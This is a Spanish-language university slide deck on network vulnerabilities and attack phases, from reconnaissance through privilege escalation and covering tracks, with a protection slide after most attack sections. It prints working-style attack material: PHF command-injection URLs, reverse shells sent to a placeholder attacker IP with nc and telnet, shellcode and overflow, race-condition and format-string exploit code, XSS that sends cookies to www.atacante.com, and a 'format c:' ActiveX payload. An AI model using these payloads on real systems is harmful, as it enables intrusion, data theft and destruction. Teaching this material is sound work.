Upload
george-diaz
View
259
Download
2
Embed Size (px)
Citation preview
Tema 7.Vunerabilidades y Amenazas
Seguridad en Redes
La carrera por la supervivencia
Presente desde los albores de la humanidad Desde mucho antes, es el motor de la evolucin
Segn los predadores van siendo ms efectivos cazando, tambin evolucionan sus presas Guepardo vs. Gacela
Estrategias de ataque cada vez ms elaboradas La lengua de los camaleones Cacera en grupo (lobos)
Estrategias de supervivencia tambin muy sofisticadas Polillas sensibles a los ultrasonidos Estrategias de camuflaje/engao
2
La carrera por la supervivencia3
http://www.mlatv.com/2007/10/fotos-camuflaje-en-los-insectos.html
La carrera por la supervivencia
Es sabia la naturaleza? Bsicamente funciona por ensayo y error Lleva 4.600 millones de aos funcionando
La seguridad de sistemas tambin es una carrera Ciclo continuo de nuevas vulnerabilidades descubiertas y formas de
solucionarlas Problema: nosotros no tenemos 4600 millones de aos Ciertos factores aceleran el proceso
La globalidad de las comunicaciones La inteligencia
Pero lo acelera para ambas partes (y MUCHO)
4
De qu velocidad estamos hablando?
Virus: 72 % Spyware: 51 % Phishing: 31 % Spam no autorizado: 40 % Accesos no autorizados: 60 %
DoS: 36 % Captura de informacin secreta:
19 % Fraude: 29 % Robo de identidad: 19 %
Estadsticas del ao 2006 (434 organizaciones) (http://www.cert.org/archive/pdf/ecrimesurvey06.pdf):
Toda mquina o red conectada a Internet es potencialmente vulnerable a ataques
5
Qu pretendemos?
Conocer al enemigo A primera vista, los atacantes En profundidad, las vulnerabilidades y amenazas
6
Eleccin de objetivos Qu proteger
Comprensin de vulnerabilidades Diseo seguro
Localizacin de vulnerabilidades Qu est desprotegido
Ejecucin de un ataque Cmo detectar / contrarrestar
7
Punto de vista del atacante experto
Fases de un ataque modelo
Reconocimiento: analizar el sistema objetivo Valorar su inters Valorar sus posibles vulnerabilidades Anlisis de beneficios y costes
Acceso remoto Ser capaz de dar rdenes arbitrarias a la mquina Acceso como usuario a la mquina
Escalada de privilegios Conseguir los permisos necesarios para alcanzar el objetivo
(generalmente administrador)
8
Fases de un ataque modelo
Objetivo concreto del ataque Robo o alteracin de informacin Despliegue de malware Uso de la mquina como pasarela para otro ataque
Mantenimiento del acceso Borrado de huellas
y todo comenz con una pequea vulnerabilidad
9
Fases de un ataque
Reconocimiento Acceso remoto Escalada de privilegios Objetivo concreto del ataque Mantenimiento del acceso Borrado de huellas
10
Reconocimiento
Proceso esencial en un ataque serio Analoga: asalto a un banco
Tres fines primordiales: Analizar la red en busca de un objetivo valioso Descubrir los posibles puntos de ataque Planificar el ataque
11
Reconocimiento
Tcnicas de reconocimiento Footprinting
Obtener informacin acerca del banco Scanning
Inventario de puertas y ventanas Enumeration
Ir al banco a hacerse una cuenta para ver el procedimiento Entrevistarse casualmente con los empleados del banco
Vulnerability Mapping Revisar archivos de ataques a sucursales del mismo banco
12
Footprinting
Averiguar todo lo posible sobre la posible red objetivo y su seguridad Qu tipo de informacin alberga la red Nombres de dominio asociados a la red Mquinas accesibles desde el exterior Servicios TCP y UDP accesibles desde cada mquina
Diferentes tcnicas en funcin del objetivo Bsqueda automtica de vulnerabilidades especficas, auditora
de sistemas
13
Footprinting. Tcnicas
Navegar por la Web de la entidad objetivo (si la hay) Informacin acerca de la rentabilidad del ataque Polticas de seguridad pblicas Nmeros o e-mails de contacto Cdigo fuente de la pgina
Consultas en buscadores y bases de datos Google, Altavista, Yahoo Bases de datos gubernamentales o empresariales
14
Footprinting. Tcnicas
Bases de datos WHOIS Asocian nombres de dominios o IPs a entidades Interfaz web o mediante protocolo whois
http://www.ripe.net$whois nombre_dominio h whois.ripe.net
Qu se puede obtener?: Direcciones postales de entidades Datos de contacto de administradores de red Organizacin que asigna determinada direccin IP Nombres de mquinas concretas (servidores DNS)
15
Footprinting. Tcnicas
Bases de datos WHOIS16
Footprinting. Tcnicas
Consultas DNS Los DNS asocian nombres de dominio a direcciones IP Transferencia de zona
Redundancia entre servidores DNS primarios y secundarios Slo debe responder a DNSs secundarios del dominio Debe separarse la informacin externa (pblica) de la interna
Qu puede ocurrir si est mal configurado?nslookup dns.uah.es>set type=any>uah.esnotas 1D IN A 192.168.0.256
1D IN HINFO Server Notas W2003uah.es mail exchanger = 10 mail.uah.es
17
Footprinting. Tcnicas
Traceroute Muestra la ruta que sigue un paquete hasta su destino Puede enviar paquetes ICMP y UDP a diferentes puertos Permite obtener informacin sobre la topologa de la red y los controles de
acceso$ traceroute it.aut.uah.es1 192.168.128.1 6.651ms 12.562ms 49.592 ms2 172.29.0.254 12.702ms 1.744ms 50.681 ms3 * * * (100% loss)
$ traceroute S p 53 it.aut.uah.es
18
Proteccin contra Footprinting
Conocer y controlar la informacin que se expone en webs y bases de datos de acceso pblico
Configurar adecuadamente nuestros servidores DNS No permitir transferencias de zona annimas Segregar el servicio de nombres interno del externo
Control de acceso adecuado en los firewalls Permitir el paso slo al trfico estrictamente
necesario
19
Scanning
Determinar qu mquinas estn vivas Barridos de pings (a un host o a toda una subred)
nmap - www.insecure.org/nmap $nmap sP 192.168.1.0/24 (ICMP ECHO)$nmap sP PT 80 192.168.1.0/24 (TCP 80)
Obtener informacin sobre su configuracin Consultas mediante paquetes ICMP
icmpquery - http://packetstormsecurity.org/UNIX/scanners/icmpquery.c$icmpquery t 192.168.1.1 (ICMP TIMESTAMP)192.168.1.1: 11:02:05$icmpquery n 192.168.1.1 (ICMP NETMASK)192.168.1.1: 0xFFFFFFE0
20
Scanning
Escaneo de puertos (Port Scanning) Enviar peticiones a puertos TCP y UDP de la mquina Permite identificar servicios activos en una mquina
Netcat - permite utilizar sockets desde lnea de rdenes $nc v z w 2 192.168.1.1 1-140
Diferentes tcnicas de escaneado TCP connect. Hace una conexin completa al puerto
objetivo TCP SYN scan (stealth). Se enva slo el paquete SYN
$nmap sS 192.168.1.1 ($nmap h )
21
Proteccin contra scanning
Permitir el paso a la red nicamente de los paquetes que sean necesarios Bloquear ICMP 8,13,17 Permitir slo determinados puertos TCP y UDP Aislar las mquinas internas de la red (firewalls)
Mecanismos de deteccin IDS a nivel de red (http://ww.snort.org) Herramientas a nivel de host (scanlogd, ZoneAlarm)
Mecanismos de reaccin
22
Enumeracin
Obtener informacin sobre los servicios detectados Nombres de usuario Versin del software del servicio Sistema operativo de la mquina que ofrece el servicio El objetivo es encontrar potenciales vulnerabilidades
Banner grabbing Conectar al servicio y analizar la salida obtenida Ejemplo: HTTP
$telnet www.nombredominio.com 80Server: Apache/1.3.12 (Unix) PHP/4.0.4
mod_ssl/2.6.6 OpenSSL/0.9.5a Otros: SMTP, DNS, finger
23
Enumeracin
TCP/IP Stack Fingerprinting Cada S.O. implementa TCP/IP de un modo particular
Tamao inicial de la ventana TCP Respuesta ante determinados paquetes (FIN) Valores de determinados campos TCP (TTL, flags)
Es posible determinar qu S.O. utiliza una mquina a partir del comportamiento de la pila de protocolos TCP/IP
Tcnicas pasivas: capturar trfico e identificar patrones Tcnicas activas: realizar tests especficos
$nmap O 192.168.1.1
24
Enumeracin
Enumeracin en redes NetBIOS Listar los dominios de una red
C:\>net view /domain Listar las mquinas de un dominio
C:\>net view /domain:DOMINIO Listar los recursos de una mquina
C:\>net view \\MAQUINA Acceder al registro de una mquina
C:\>regdmp -m \\MAQUINA HKEY_LOCAL_MACHINE
25
Proteccin de Enumeracin
Deshabilitar servicios innecesarios Reforzar la configuracin de seguridad de los
servicios que ofrecen informacin de la red NetBIOS SNMP
Bloquear conexiones a determinados servicios a nivel de firewall
26
Vulnerability mapping
Asociar la informacin obtenida del sistema objetivos con potenciales vulnerabilidades Buscar los atributos del sistema en bases de datos de
vulnerabilidades http://www.cert.org http://www.bugtraq.org
Utilizar exploits disponibles en la red (o escribirlos) y lanzarlos contra la mquina objetivo
Utilizar herramientas automatizadas de bsqueda de vulnerabilidades http://www.nessus.org
27
Fases de un ataque
Reconocimiento Acceso remoto Escalada de privilegios Objetivo concreto del ataque Mantenimiento del acceso Borrado de huellas
28
Acceso remoto
Qu significa acceso? Poder cumplir nuestro objetivo sobre la mquina En general, poder ejecutar rdenes shell
Cmo acceder remotamente a un sistema? A travs de servicios a la escucha Usuarios que puedan facilitarnos el acceso Interfaces en modo promiscuo
29
Ataques de fuerza bruta
Muchos servicios emplean autenticacin basada en contraseas Telnet, FTP, POP, SMTP Comunidades SNMP
Ataque de fuerza bruta: ir probando contraseas hasta ganar acceso Probar las combinaciones ms usuales Ataques basados en diccionario Utilidades que automatizan el proceso (Brutus, SNMPBrute)
Mecanismos de prevencin Polticas de contraseas Polticas de bloqueo de cuentas
30
Ataques basados en datos
Explotan errores de programacin en los servicios Qu ocurre si a un programa que espera un nmero
se le introduce una letra? El programa se comporta de forma inesperada
Lo ms probable, que deje de funcionar (DoS) Acceso a funcionalidades no previstas Lo ms peligroso, ejecucin arbitraria de cdigo
31
Errores de validacin de entrada
Ocurre cuando un programa no comprueba la validez de los datos introducidos antes de emplearlos para algo sensible
Un clsico: el exploit de PHF (1996)/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd El script utilizaba el parmetro Qalias en una llamada a popen(), que
pretenda ejecutar la orden /usr/local/bin/ph m Qalias
Como el carcter %0a representa el retorno de carro que se ejecutaba realmente era
/usr/local/bin/ph m x /bin/cat /etc/passwd
Permita ejecutar rdenes shell arbitrarias (!)
32
Errores de validacin de entrada
Otro ejemplo: tratamiento de cadenas en C y Perl Imaginemos un script en perl que utiliza un parmetro de entrada para
escoger un fichero de plantilla que mostrar al usuario/cgi-bin/showpage.pl?template=main
El script le aade al parmetro template la extensin .htm y realiza una llamada a open() Aparentemente seguro: slo permite abrir .htm Si le pasamos como parmetro /etc/passwd simplemente no encontrara el
fichero Sin embargo, el script est escrito en Perl y open() est escrita en C
/cgi-bin/showpage.pl?template=/etc/passwd%00 Perl aade .htm a la cadena /etc/passwd%00.htm open() corta la cadena en el \0 y muestra el fichero de passwords
33
Buffer Overflows
Imaginemos el siguiente cdigo void funcion (char * cadena) {
char buffer[512];strcpy(buffer, cadena);
} Problema: strcpy no comprueba si cadena cabe en buffer
En la mayora de los casos, provocar la terminacin del programa Pero puede producir resultados an peores
34
Stack-based Overflows En la pila se almacena:
Los parmetros de la funcin La direccin de retorno (IP) El espacio para la variable
buffer Si cadena > buffer
Se sobreescribe IP El programa salta a la nueva
direccin de retorno Ejecucion arbitraria de cdigo En general, el cdigo va en
cadena Pila (Stack)*cadena
IP
buffercadena
MP
35
Stack-based Overflows. Ejemplo
char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() { char buffer[96]; int i; long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++) large_string[i] = shellcode[i];
strcpy(buffer,large_string);}
36
Stack-based Overflows
En muchos casos, vulnerabilidad crtica En general, denegacin de servicio Puede provocar ejecucin arbitraria de cdigo Especialmente problemtica en ficheros SUID
Difcil de explotar (en principio) Requiere conocer el espacio de direccin de pila Necesita que el buffer sea suficientemente grande Especialmente compleja la explotacin remota
37
Ataques basados en datos
Mecanismos de prevencin Prcticas de programacin seguras Auditar y probar los programas Desactivar los servicios innecesarios Tener el software actualizado No permitir la ejecucin de la pila (a nivel de SO)
Mecanismos de deteccin Sistemas de deteccin de intrusiones
38
Obtencin de shells
Servicios tradicionales de interprete de rdenes Telnet, rlogin, ssh Vulnerabilidades
Passwords dbiles Relaciones de confianza (fichero .rhosts)
Escenario de ataque (vulnerabilidad PHF):$ echo "+ +" > /tmp/my.rhosts $ echo "GET /cgi-bin/phf?Qalias=x
%[email protected]:/tmp/my.rhosts+ ~/.rhosts" | nc -v -w 20 victima.com 80
$ rsh -l nobody victima.com "/bin/sh -i" [email protected]$
Qu ocurre si no estn activos estos servicios?
39
Obtencin de shells
Aprovechar los terminales de X Window/cgi-bin/phf?Qalias=x%0a/usr/X11R6/bin/xterm%20-ut%20display%20
IP_atacante:0.0
Abrir canales de Telnet inversos Poner servidores en la mquina atacante escuchando en
puertos permitidos por el firewall # nc l n v p 80 # nc l n v p 25(en ventanas diferentes)
40
Obtencin de shells
Abrir canales de Telnet inversos Abrir una shell en la mquina vctima y redirigirla hacia
los servidores de la mquina atacante/cgi-bin/phf?Qalias=x%0a/bin/telnet%20IP_atacante%2080%20|%20/bin/sh
%20|%20/bin/telnet%20IP_atacante%2025
La orden que se ejecuta es/bin/telnet IP_atacante 80 | /bin/sh | /bin/telnet IP_atacante 25
41
Atacante
Vctima
Obtencin de shells
/bin/telnet IP_atacante 80 | /bin/sh | /bin/telnet IP_atacante 25
/bin/sh
telnet IP_atacante 80 telnet IP_atacante 25
Firewallnc p 80 nc p 25
42
Obtencin de shells
Canales inversos con nc Poner un servidor a la escucha en la mquina
atacante # nc l n v p 80
Abrir una shell en la mquina vctima y redirigirla hacia los servidores de la mquina atacante/cgi-bin/phf?Qalias=x%0a/x%0a/bin/nc%20-e%20/bin/sh
%20IP_atacante%2080 La orden que se ejecuta es
nc -e /bin/sh IP_atacante 80
43
Obtencin de shells
Canales inversos con nc Si el servidor no tiene nc
/cgi-bin/phf?Qalias=x%[email protected]:/tmp/nc+ ~/nc%0a~/nc%20-e%20/bin/sh%20IP_atacante%2080
La orden que se ejecuta esrcp [email protected]:/tmp/nc ~/nc~/nc -e /bin/sh IP_atacante 80
44
Obtencin de shells
Mecanismos de proteccin Desactivar X Window en servidores y mquinas que
no lo necesiten Ajustar los permisos de ejecucin de ficheros binarios
como telnet o ssh para que no puedan ser ejecutados desde los usuarios de servicios como nobody.
Bloquear en el firewall las conexiones que se generan desde los servidores
45
Fases de un ataque
Reconocimiento Acceso remoto Escalada de privilegios Objetivo concreto del ataque Mantenimiento del acceso Borrado de huellas
46
Escalada de Privilegios
Obtener los privilegios necesarios para el objetivo del ataque En general, el atacante ha obtenido una shell sin
privilegios (nobody) Explotar vulnerabilidades locales para obtener
privilegios de root En ocasiones puede bastar con privilegios intermedios
47
Escalada de Privilegios
Password cracking (e.g. UNIX) Las contraseas se guardan encriptadas en el fichero /etc/passwd
o /etc/shadowroot:cwIBREDaWLHmo:0:0:root:/root:/bin/bash
Hay utilidades que permiten realizar ataques de fuerza bruta contra estos ficheros Encriptan una contrasea y comparan el resultado Prueban todas las combinaciones, o utilizan diccionarios y reglas Crack, John the Ripper
Requiere acceso al fichero que contiene los passwords
48
Escalada de Privilegios
Permisos de acceso a ficheros Una mala gestin de los permisos de ficheros puede generar grandes
vulnerabilidades Ficheros con informacin sensible y permisos de lectura
Fichero /etc/shadow legible Ficheros sobre los que pueda escribir cualquier usuario
find / -perm -00002 type f print Pueden permitir a un atacante modificar aspectos crticos del sistema
Ficheros SUID: Se ejecutan con los permisos de su propietario
find / -perm -04000 type f print La ejecucin arbitraria de cdigo nos permite escalar a los privilegios del
propietario El control sobre este tipo de ficheros es crtico para la seguridad
49
Escalada de Privilegios
Stack-based overflow local Anlogo al que veamos en
acceso remoto Especialmente peligroso en
ficheros SUID root Heap/BSS overflow
Heap: regin de memoria para reservas dinmicas
Adyacente a la regin BSS (variables estticas)
50
Heap / BSS Overflow. Ejemplos
Ejemplo de cdigo int main(int argc, char **argv) { FILE *tmpfd; static char buf[BUFSIZE], *tmpfile; tmpfile = "/tmp/vulprog.tmp"; printf("Enter one line of data"); gets(buf); tmpfd = fopen(tmpfile, "w"); fputs(buf, tmpfd); fclose(tmpfd); }
51
Heap / BSS Overflow. Ejemplos
Ejemplo de ataque (sobreescribe /root/.rhosts) memset(buf, 0, sizeof(buf)), strcpy(buf, "+ +\t# "); memset(buf + strlen(buf), 'A', DIFF); addr = getesp() + OFFSET; for (i = 0; i < sizeof(u_long); i++) buf[DIFF + i] = ((u_long)addr >> (i * 8) & 255); memset(mainbuf, 0, sizeof(mainbufsize));
snprintf(mainbuf, mainbufsize - 1, "echo '%s' | programa /root/.rhosts\n",buf);
system(mainbuf);
52
Heap / BSS Overflow. Ejemplos
Otro ejemplo de cdigo int funcion(const char *str);
int main(int argc, char **argv) { static char buf[BUFSIZE]; static int (*funcptr)(const char *str);
funcptr = (int (*)(const char *str))funcion;
memset(buf, 0, sizeof(buf)); strncpy(buf, argv[1], strlen(argv[1]));
(void)(*funcptr)(argv[2]); return 0; }
53
Ejemplo de ataque (ejecucin de cdigo) sysaddr = (u_long)&system - OFFSET; memset(buf, 'A', BUFSIZE);
for (i = 0; i < sizeof(sysaddr); i++) buf[BUFSIZE + i] = ((u_long)sysaddr >> (i * 8)) & 255;
execl(programa, programa, buf, /bin/sh", NULL); return 0;
Ejecutar la funcin system(/bin/sh)
Heap / BSS Overflow. Ejemplos54
Condiciones de carrera
Aprovechan ventanas temporales en las que un proceso es vulnerable
Ejemplo de cdigovoid main (int argc, char **argv) {
int fd; if (access(argv[1], R_OK) != 0)
exit(1); fd = open(argv[1], O_RDONLY); // Procesamos el fichero
}
55
Condiciones de carrera
Ejemplo de ataquevoid main (int argc, char **argv) { // Directorios y links: // dir0/lnk -> fichero accesible // dir1/lnk -> /etc/shadow // activedir -> dir0 if (fork() == 0) { system(programa activedir/lnk"); exit(0); } usleep(1);
// Cambiar directorios unlink("activedir"); symlink("dir1", "activedir"); }
56
Cadenas de formato (Format Strings)
Funciones como printf() y sprintf() utilizan una cadena de caracteres para dar formato.
printf(Ttulo: %s %d, cadena, entero);
Qu caracteres de formato podemos utilizar? %d: entero por valor %x: hexadecimal por valor %s: string por referencia (char *) %n: almacena nmero de caracteres escritos (int *)
57
Cadenas de formato (Format Strings)
En la pila se almacena:
La funcin va procesando la cadena de formato carcter a carcter Al encontrar %, determina el tipo de parmetro y lo coge de la
pila
Pila (Stack)*cadenaFentero *cadena IP
Memoria
Llenado de la pila
58
Cadenas de formato (Format Strings)
Imaginemos el siguiente cdigovoid funcion (char * cadena) { printf(%s, cadena); printf(cadena); }
La segunda llamada a printf es vulnerable Se toma como cadena de formato la cadena
introducida por el usuario Insertando % adecuadamente, el usuario puede
controlar la funcin
59
Cadenas de formato (Format Strings)
Qu posibilidades de explotacin permite? Denegacin de servicio
printf(%s%s%s%s%s%s%s%s%s%s%s%s%s%s); Volcado de pila
printf(%08x.%08x.%08x.%08x.%08x.%08x.);
Pila (Stack)*cadena IP
Memoria
Llenado de la pila
60
Cadenas de formato (Format Strings)
Qu posibilidades de explotacin permite? Asistencia a un buffer overflow
Ejemplo de cdigo (bftpd)char outbuf[512];char buffer[512];sprintf (buffer, "ERR Wrong command: %400s", user);sprintf (outbuf, buffer);
El primer snprintf limita la longitud de la cadena a 400 bytes
El segundo snprintf es vulnerable Podemos utilizar cadenas de formato para agrandarla
"%497d\x3c\xd3\xff\xbf"
61
Cadenas de formato (Format Strings)
Qu posibilidades de explotacin permite? Lectura ARBITRARIA de memoria
Requiere un tipo de formato adecuado: %s Requiere que coloquemos en la pila la direccin a leer Dnde colocarla? En la propia cadena de formato
printf(\x10\x01\x48\x08_%08x.%08x.%08x.|%s);
Pila (Stack)*cadena IP
Llenado de la pila
\x10\x01\x48\x08_%08x
62
Cadenas de formato (Format Strings)
Qu posibilidades de explotacin permite? Escritura ARBITRARIA en memoria
Misma idea que en el caso anterior Utilizamos %n para escribir en una direccin de memoria
arbitrariaprintf(\x10\x01\x48\x08_%08x.%08x.%08x.%n);
Problema: no controlamos qu numero escribimos
Pila (Stack)*cadena IP
Llenado de la pila
\x10\x01\x48\x08_%08x
63
Cadenas de formato (Format Strings)
Qu posibilidades de explotacin permite? Escritura ARBITRARIA controlada en memoria
Podemos manipular la cadena de formato para controlar qu nmero escribimosprintf(%64u%n, 12, (int *) entero);
Problema: no sirve para nmeros grandes (e.g. direcciones) Escritura arbitraria de direcciones
Podemos escribir cuatro veces, un byte cada vez Solo factible si podemos llamar varias veces a la funcin Poco til si la direccin en la que queremos escribir cambia
64
Cadenas de formato (Format Strings)
Qu posibilidades de explotacin permite? Escritura ARBITRARIA controlada one-shot
Podra conseguirse con una llamada del tipo printf(%16u%n%16u%n%32u%n%64u%n
,1,dir,1,dir+1,1,dir+2,1,dir+3); Problema: difcil encontrar una llamada con esa estructura Solucin: meter manualmente los parmetros en la pila
Pila (Stack)IP%08d...%08d\x01\x01\x01\x01\x10\x01\x48\x08...%3u%n
65
Cadenas de formato (Format Strings)
Qu posibilidades de explotacin permite? Ejecucin arbitraria de cdigo sobreescribiendo la
direccin de retorno de la funcin en la pila Ms sencillo por poder leer la pila (si hay varios intentos)
Pero no solo podemos sobreescribir la pila GOT (Global Offset Table), independiente del entorno (!!!)
syslog (LOG_NOTICE, user);exit (EXIT_FAILURE);
Se salta protecciones basadas en la pila Punteros a funciones
66
Integer overflows
Se producen al intentar introducir en una variable numrica un valor que supera la capacidad de la variable
Ejemplo de cdigoint concatena(char *buf1, char *buf2, unsigned int len1,
unsigned int len2){ char buf[256];
if((len1 + len2) > 256){ /* [3] */ return -1; } memcpy(buf, buf1, len1); /* [4] */ memcpy(buf + len1, buf2, len2);
... }
67
Integer overflows
Pueden aprovecharse para esquivar controles de tamao en escrituras en memoria Si len1 = 0x104 y len2=0xfffffffc
len1 + len2 = 256 (!!!) Podemos provocar un desbordamiento de buffer
Otro ejemploint copiar(char *buf, int len){
char kbuf [100]; if(len > sizeof(kbuf)){ /* [1] */ return -1; } return memcpy(kbuf, buf, len); /* [2] */ }
68
Integer overflows
En este caso el problema es de conversin de signos int: entero con signo Llamada a memcpy(): recibe entero sin signo Si len=-1 (0xfffffffe)
Pasa sin problemas el primer control Se convierte en un entero grande al llamar a memcpy y
desborda 2008-04-02: vulnerabilidad en Realtek Audio Codec
Provocado por un integer overflow Permite escribir en el registro de Windows y sobreescribir
zonas arbitrarias de memoria del kernel
69
Mecanismos de seguridad
Mecanismos de prevencin Control riguroso de permisos de acceso a ficheros Control de ficheros SUID Prcticas de programacin seguras Desactivar los servicios innecesarios Tener el software actualizado No permitir la ejecucin de stack o heap (a nivel de SO) Parches de SO (Stackguard, FormatGuard)
Mecanismos de deteccin Sistemas de deteccin de intrusiones
70
Una vez dentro
Reconocimiento Acceso remoto Escalada de privilegios Objetivo concreto del ataque Mantenimiento del acceso Borrado de huellas
71
Una vez dentro...
Ganar acceso es slo el principio Objetivo final del ataque
Obtener informacin valiosa que se encuentre en la mquina
Capturar contraseas a servidores externos, informacin bancaria, nmeros de tarjetas
Usar la mquina como pasarela para otro ataque Denegacin de servicio
72
Una vez dentro...
Troyanos Versiones modificadas de ficheros binarios del sistema
Un login modificado que enve las contraseas al atacante Servidores que permitan acceso remoto posterior
Mecanismos de deteccin: controles de integridad (Tripwire) Sniffers: capturan paquetes de la red
Pueden obtener contraseas y otra informacin valiosa de la vctima y de otras mquinas
Mecanismos de prevencin: criptografa Mecanismos de deteccin: IDS
Keyloggers: capturan pulsaciones de teclado
73
Una vez dentro...
Rootkits Incluyen varias de las herramientas anteriores Suelen incluir tambin mecanismos que evitan la
deteccin Versiones modificadas de ls, ps
Kernel Rootkits Modifican directamente el ncleo del sistema Permiten ocultar ficheros, procesos, conexiones de red
Incluso engaan a utilidades como Tripwire Casi imposibles de detectar
74
Una vez dentro...
Limpieza de logs Borrado de huellas Localizacin de logs
cat /etc/syslog.conf Normalmente en /var/log
cron, maillog, messages, wtmp Puede requerir el empleo de utilizades especficas
(zapper) wzap para borra a un usuario en wtmp ZAP2 borra wtmp, utmp y lastlog
Eliminar la historia de rdenes de la shell ~/.bash_history
75
Una vez dentro...
Mecanismos de seguridad Una vez comprometido el sistema, es muy difcil
valorar el alcance de la intrusin Mecanismos de prevencin: IDSs
Snort (http://www.snort.org) LIDS Linux Intrusion Detection System
(http://www.lids.org) Almacenamiento de logs en soporte no modificable Estrategias de respuesta ante incidentes
Kits de recogida de evidencias (The Coroners Toolkit)
76
El eslabn ms dbil: El usuario
Por qu atacar al usuario final? Mucho ms numeroso En general, ms sencillo
Sabe menos de seguridad que un administrador Emplea software mucho ms diverso
Pasarela de acceso a redes corporativas Plataforma de lanzamiento de otros ataques
Ataques a usuarios finales Suplantacin de identidad Ejecucin de cdigo malicioso Robo de informacin
77
Suplantacin de identidad
Phishing Suplantar a un sitio web legtimo y conseguir que el usuario revele sus
credenciales de acceso a l
Ataque de hombre en medio Para obtener credenciales de acceso a sitios seguros
Robo de Cookies de sesin
78
Suplantacin de identidad
Cross-site Scripting (XSS) Utiliza sitios web donde los usuarios pueden subir contenidos Un usuario malicioso inserta contenido HTML en el sitio Web
var passwrd=prompt(Your session has expired. Please enter you password to continue.,);location.href=http://www.atacante.com/p.cgi?p=+password
Si el sitio Web no inspecciona el contenido antes de publicarlo, puede atacar
a otros usuarios Otras posibilidades
cook=document.cookie
location.href=http://www.atacante.com/p.cgi?p=+cook
XSS Indirecto (URLs del tipo error.php?error=Fatal%20Error)
79
Ejecucin de cdigo malicioso
Subprogramas activos en pginas Web Controles ActiveX o Applets de Java Cada tecnologa dispone de sus propios mecanismos de seguridad Especialmente problemtico cuando ficheros legtimos son vulnerables
Ejemplo: Software para HP color LaserJet 2820/2840. Descubierta el 24 de abril de 2008 Contiene un control ActiveX HPeDiag.dll, vulnerable a un buffer overflow El control est marcado como safe for scripting Permite a un atacante ejecutar cdigo arbitrario en la mquina vctima si
visita una determinada Web
80
Ejecucin de cdigo malicioso
Otro ejemplo: HP Info Center (HPInfoDLL.dll ) Marcado safe for scripting No tiene vulnerabilidades convencionales Permite a la pgina web que lo lanza ejecutar, entre otros, los mtodos
VARIANT GetRegValue(String sHKey, String sectionName, String keyName); void SetRegValue(String sHKey, String sSectionName, String sKeyName,
sValue); void LaunchApp(String appPath, String params, int cmdShow);
Permite al atacante leer o escribir en el registro y ejecutar cdigo arbitrario
81
Ejecucin de cdigo malicioso
Ejemplo de ataque (muy simple):
function spawn2() { o2obj.LaunchApp("c:\\windows\\system32\\cmd.exe","/C format c:,0); }
Ejecucin de cdigo malicioso
Ficheros adjuntos de correo electrnico Ficheros ejecutables (.exe, .bat, .com) Vulnerabilidades en otras aplicaciones (Winzip,
Mediaplayer, MSOffice) Mecanismos de seguridad
Propios de cada tecnologa (security zones, sandboxing)
Actualizaciones del sistema operativo y software Cuidado al hacer click (aunque no siempre es fcil) Acceder a Internet con usuarios sin privilegios
83
Botnets
Redes de mquinas comprometidas (zombies) En su mayora, mquinas de usuarios
finales o instituciones (universidades) Infectadas por medio de worms Controladas a travs de IRC
El controlador vende el acceso a la Botnet como plataforma para cometer delitos Robo de informacin Ataques de denegacin de servicio Envo de spam
84
Botnets
Ejemplo: Storm Botnet Creada por medio del Storm Worm (enero 2007) Se propaga a mquinas Windows por medio de spam
Unas 6000 mquinas dedicadas a esparcir el virus Record de hasta 57 millones de mails en un da (agosto 2007) Elevado nmero de mutaciones (2 a la hora) 2-50 millones de bots El 1 de abril de 2008, nueva oleada de infeccin
Controlada por medio de protocolos P2P y trfico cifrado Implicada en spam, phishing, DoS (incluso
contraataques)
85
Denegacin de Servicio (DoS)
Hacer que un servicio o sistema deje de funcionar adecuadamente
Diferentes motivaciones Ms sencillo que ganar acceso (en general) Necesidad de reiniciar una mquina Suplantacin Sabotaje
86
Tipos de ataques DoS
Consumo de ancho de banda Inundacin directa (>ancho de banda) Inundacin inducida (Smurf) Ataques de denegacin de servicio distribuidos
(DDoS) Consumo de recursos de la mquina Fallos de programacin Ataques sobre la configuracin de red
Routers, DNSs
87
Conclusiones
Internet no es segura Toda mquina es potencialmente vulnerable a ataques Existen tcnicas muy diversas (y de diferentes niveles de
sofisticacin) para comprometer una mquina Una vez consumado el ataque, la recuperacin es costosa
Debemos intentar evitar que nuestro sistema sea vctima de un ataque Conocimiento de las tcnicas y vulnerabilidades Despliegue de mecanismos de proteccin
Es una carrera por la supervivencia Buscar, comprender, repetir
88
Referencias
Hacking Exposed. Network Security Secrets & Solutions. Fifth Edition. McGraw-Hill
Incident Response. Investigating Computer Crime (2001, McGraw-Hill)
Bases de datos de vulnerabilidades http://www.cert.org http://www.bugtraq.org
89
Criptografa y Seguridad en RedesLa carrera por la supervivenciaLa carrera por la supervivenciaLa carrera por la supervivenciaDe qu velocidad estamos hablando?Qu pretendemos?Punto de vista del atacante expertoFases de un ataque modeloFases de un ataque modeloFases de un ataqueReconocimientoReconocimientoFootprintingFootprinting. TcnicasFootprinting. TcnicasFootprinting. TcnicasFootprinting. TcnicasFootprinting. TcnicasProteccin contra FootprintingScanningScanningProteccin contra scanningEnumeracinEnumeracinEnumeracinProteccin de EnumeracinVulnerability mappingFases de un ataqueAcceso remotoAtaques de fuerza brutaAtaques basados en datosErrores de validacin de entradaErrores de validacin de entradaBuffer OverflowsStack-based OverflowsStack-based Overflows. EjemploStack-based OverflowsAtaques basados en datosObtencin de shellsObtencin de shellsObtencin de shellsObtencin de shellsObtencin de shellsObtencin de shellsObtencin de shellsFases de un ataqueEscalada de PrivilegiosEscalada de PrivilegiosEscalada de PrivilegiosEscalada de PrivilegiosHeap / BSS Overflow. EjemplosHeap / BSS Overflow. EjemplosHeap / BSS Overflow. EjemplosHeap / BSS Overflow. EjemplosCondiciones de carreraCondiciones de carreraCadenas de formato (Format Strings)Cadenas de formato (Format Strings)Cadenas de formato (Format Strings)Cadenas de formato (Format Strings)Cadenas de formato (Format Strings)Cadenas de formato (Format Strings)Cadenas de formato (Format Strings)Cadenas de formato (Format Strings)Cadenas de formato (Format Strings)Cadenas de formato (Format Strings)Integer overflowsInteger overflowsInteger overflowsMecanismos de seguridadUna vez dentroUna vez dentro...Una vez dentro...Una vez dentro...Una vez dentro...Una vez dentro...El eslabn ms dbil: El usuarioSuplantacin de 